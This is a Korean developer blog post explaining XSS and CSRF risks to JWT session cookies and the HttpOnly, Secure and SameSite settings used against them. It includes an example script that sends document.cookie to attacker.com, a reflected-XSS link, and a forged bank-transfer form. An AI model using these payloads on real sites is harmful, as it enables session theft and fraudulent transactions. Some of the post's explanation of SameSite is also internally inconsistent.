
이번에 마무리한 프로젝트에서 계정/보안 관련 업무를 담당하게 되었다. 기존에 단순한 암호화 없이 CRUD를 통해서 구현했던 로그인과 다르게 Spring Security를 통한 JWT 방식의 계정기능 구현을 하게 되었다.
로그인이 인증되면, JWT 토큰을 사용자의 브라우저 Cookie에 담아주고 사용자는 다음 방문부터 DB를 거치지 않고 쿠키에 담긴 토큰을 통해서 Filter단에서 로그인처리가 완료된다.
하지만 로그인정보가 담긴 JWT 토큰을 브라우저에 쿠키/세션에 담아 놓았을 때, 생기는 공격 취약점이 상당히 많이 존재한다.
공개적으로 널리 알려진 공격 중에서 대표적으로 사용되는 공격 2가지에 대해서 해당 게시물에서 다뤄보겠다.
1. XSS (Cross - Site - Scripting)
XSS 공격 : 공격자가 웹페이지에 악성 스크립트를 삽입하고 ,그 스크립트가 다른 방문자의 브라우저에서 실행되도록 하는 공격
주로 쿠키, 세션, 키로깅, 악성 리다이렉트, UI 위조 등 공격방법이 다양함
1. Stored XSS (영구저장형)
게시판, 글, 코멘트 프로파일 설명처럼 서버 DB에 사용자가 입력한 내용이 젖아되어 여러 사용자가 열람할 때 실행됨
-> 공격방식
1. 공격자가 게시판에 <script>...</script> 같은 페이로드를 입력하고 저장함
2. 다른 사용자가 해당 글을 열람하면서 HTML을 그대로 출력하는데 1번에서 저장한 페이로드가 그대로 실행되어짐
3. 스크립트가 쿠키(세션), DOM 등에서 민감한 정보를 수집해서 공격자 서버로 전송 (탈취)
ex) <script>fetch(`https://attacker.com/steal?stealedCookie=' + document.cookie)</script>
다음과 같이 페이로드가 작성되면 공격자 도메인의 api 서버로 유저의 쿠키 값이 파라미터로 넘어가게 됨
2. Reflected XSS (반사형)
검색결과, 에러 메시지, 링크 파라미터 등 서버가 요청 파라미터를 바로 페이지에 반영해야 하는 경우
-> 공격방식
1. 공격자가 URL에 악성 스크립트를 포함한 링크를 생성해둠: https://victim.com/search?q=<scripit>아까와 동일</script>
2. 피해자에게 링크 클릭을 유도함 (이메일, 채팅 등)
3. 서버가 q 값을 검증/인코딩 없이 출력하면 그대로 페이로드 실행
2. CSRF (Cross - Site - Request - Forgery)
CSRF 공격 : 사용자가 이미 인증된(쿠키를 보유한) 상태에서 공격자가 조작한 요청을 피해자의 브라우저가 사용자 대신 인증된 사이트에 전송하게 하여, 비정상적인 행위를 수행하게 하는 공격
-> 공격방식
1. 사용자가 OfficialBank.com에 로그인 (세션/쿠키 보유)
2. 다른 탭에서 공격자가 만든 페이지(attacker.com) 방문 또는 메일의 이미지/스크립트가 로드됨
3. 공격 페이지가 자동으로 <form action="https://OfficialBank.com/transfer" method="POST"> ... submit()</form> 과 같은 요청을 만들어서 브라우저가 전송
4. 브라우저는 OfficialBack.com의 쿠키(토큰)을 자동으로 포함하고, 은행서버는 정상 사용자의 요청으로 처리 -> 송금 등을 수행
다음과 같은 문제들에 대해서 해당 프로젝트에서 쿠키를 생성할 때, HttpOnly / Security + SameSite(none) 방식을 채택하였다.
1. HttpOnly
HttpOnly 옵션은 JavaScript에서 쿠키/세션 등 접근이 불가능하도록 하는 옵션이다.
기존에 window.cookie와 같은 코드를 통해서 공격자가 정보를 탈취해가려고 하는데, 쿠키에 HttpOnly 옵션을 추가하면
해당 쿠키에 대해서 js에서 접근이 불가능해서 cookie값을 참조할 수 없도록 한다.
2. Security + SameSite(none)
1번과 같이 HttpOnly 옵션을 채택해서 JS로 부터의 쿠키 접근을 제한할 수 있지만, 네트워크로 움직이는 패킷에서는 쿠키를 볼 수 있다. 그래서 Https 프로토콜 환경에서만 네트워크로 쿠키가 전송될 수 있도록 하는 옵션이 Security 옵션이다.
Http에서는 왜 쿠키전송을 막아야하는건지 궁금할 수 있다. Http와 Https의 큰 차이는 인증서를 포함시켜 송수신되는 데이터에 암호화를 적용 여부이다. Http 그 자체로 쿠키에 정보를 주고받는 와중에 하이재킹하여 쿠키를 탈취 당하게 되는 경우를 방지하기 위해서 Security 옵션을 사용한다.
SameSite()의 경우 쿠키를 사용할 수 있는 범위를 제한하는 옵션이다. 쿠키를 발급한 도메인과 같은 도메인인지 여부를 확인해 쿠키 전송을 제한한다. 아까 예시로 든 https://OfficialBank.com 브라우저에서 공격자의 페이로드를 통해서 실행되는 공격자의
<form action = "https://OffcialBank.com/transfer" method="POST"> ... submit() </form> 와 같은 공격에 대해서 요청 도메인명 이 https://OfficialBank...이 아닌 https://attacker.com 이므로 쿠키가 전혀 포함되지 않은 상태로 요청이 보내진다. 그러면 은행측 서버에서 쿠키가 없으므로 인증요청이 폐기되고 송금은 실패된다.
근데 왜 SameSite(none) + secure 설정이냐면 SameSite를 None으로 설정하면 OAuth나 제3자 로그인 같은 외부 API 호출에서 쿠키 전송 제한으로 인한 기능 제약을 피할 수 있다. 대신 SameSite=None은 크로스사이트 요청에 쿠키가 전송되도록 허용하므로, 이를 보완하기 위해 Secure(HTTPS 전송만 허용)와 HttpOnly를 함께 설정하고 서버 측에서는 CSRF 토큰/Origin 검사 등 추가 검증을 적용한다. 이렇게 하면 쿠키는 전송 시 TLS(HTTPS)로 보호되고, 단순히 HTTP로 오는 요청이나 스니핑·중간자 공격으로부터는 안전해지며, 민감한 액션은 추가 인증으로 방어할 수 있다.

다음과 같은 코드로 설정이 가능하며, cookieValue 문자열에 쿠키 키이름 = 키값 , 부가적인 옵션 .... 을 추가하고
response.addHeader() 를 통해서 헤더에 "Set-Cookie" 라는 키 그리고 값으로 cookieValue를 넣어주면 된다.
이러면 헤더에 Set-Cookie에 쿠키정보가 문자열로 담기면서 넘어가고, 브라우저측에서 자동으로 쿠키를 생성한다.
근데 여기서 Cookie 객체를 만들어서 addCookie 메서드를 사용하지 않은 이유가 궁금할 수 있다.

다음과 같이 new Cookie() 메서드를 통해서 옵션을 추가해 줄 수도 있는데, 아쉽게도 cookie 객체내에 SameSite 옵션에 대해서는 다룰 수가 없다. 그래서 Response Header에 수동으로 추가해 주어야 SameSite 옵션을 사용할 수 있다.
아직 허점은 존재한다. Https://attacker.com 으로 부터의 요청에서 페이로드 실행은 부가적인 설정으로 또 다시 검증해야 한다...